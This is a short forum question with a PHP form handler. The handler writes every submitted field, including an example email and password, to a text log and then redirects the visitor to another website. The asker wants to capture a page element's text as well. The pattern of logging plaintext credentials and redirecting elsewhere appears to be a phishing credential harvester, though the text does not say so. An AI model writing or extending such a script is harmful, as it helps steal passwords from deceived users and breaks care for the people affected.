I have this php code to get form input values:
<?php
header ('Location: https://mywebsite.com/');
$handle = fopen("logs_46735.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "
");
}
fwrite($handle, "===============
");
fclose($handle);
exit;
?>
That code works fine for getting input fields values, but I also have a span element in my html
<span id="mytext">some text</span>
that I would like to get together with input field values.
Example:
<span id="mytext">some text</span>
<input type="email" id="email" name="email" />
<input type="password" id="pass" name="pass" />
Is there a way to get all three values? Thanks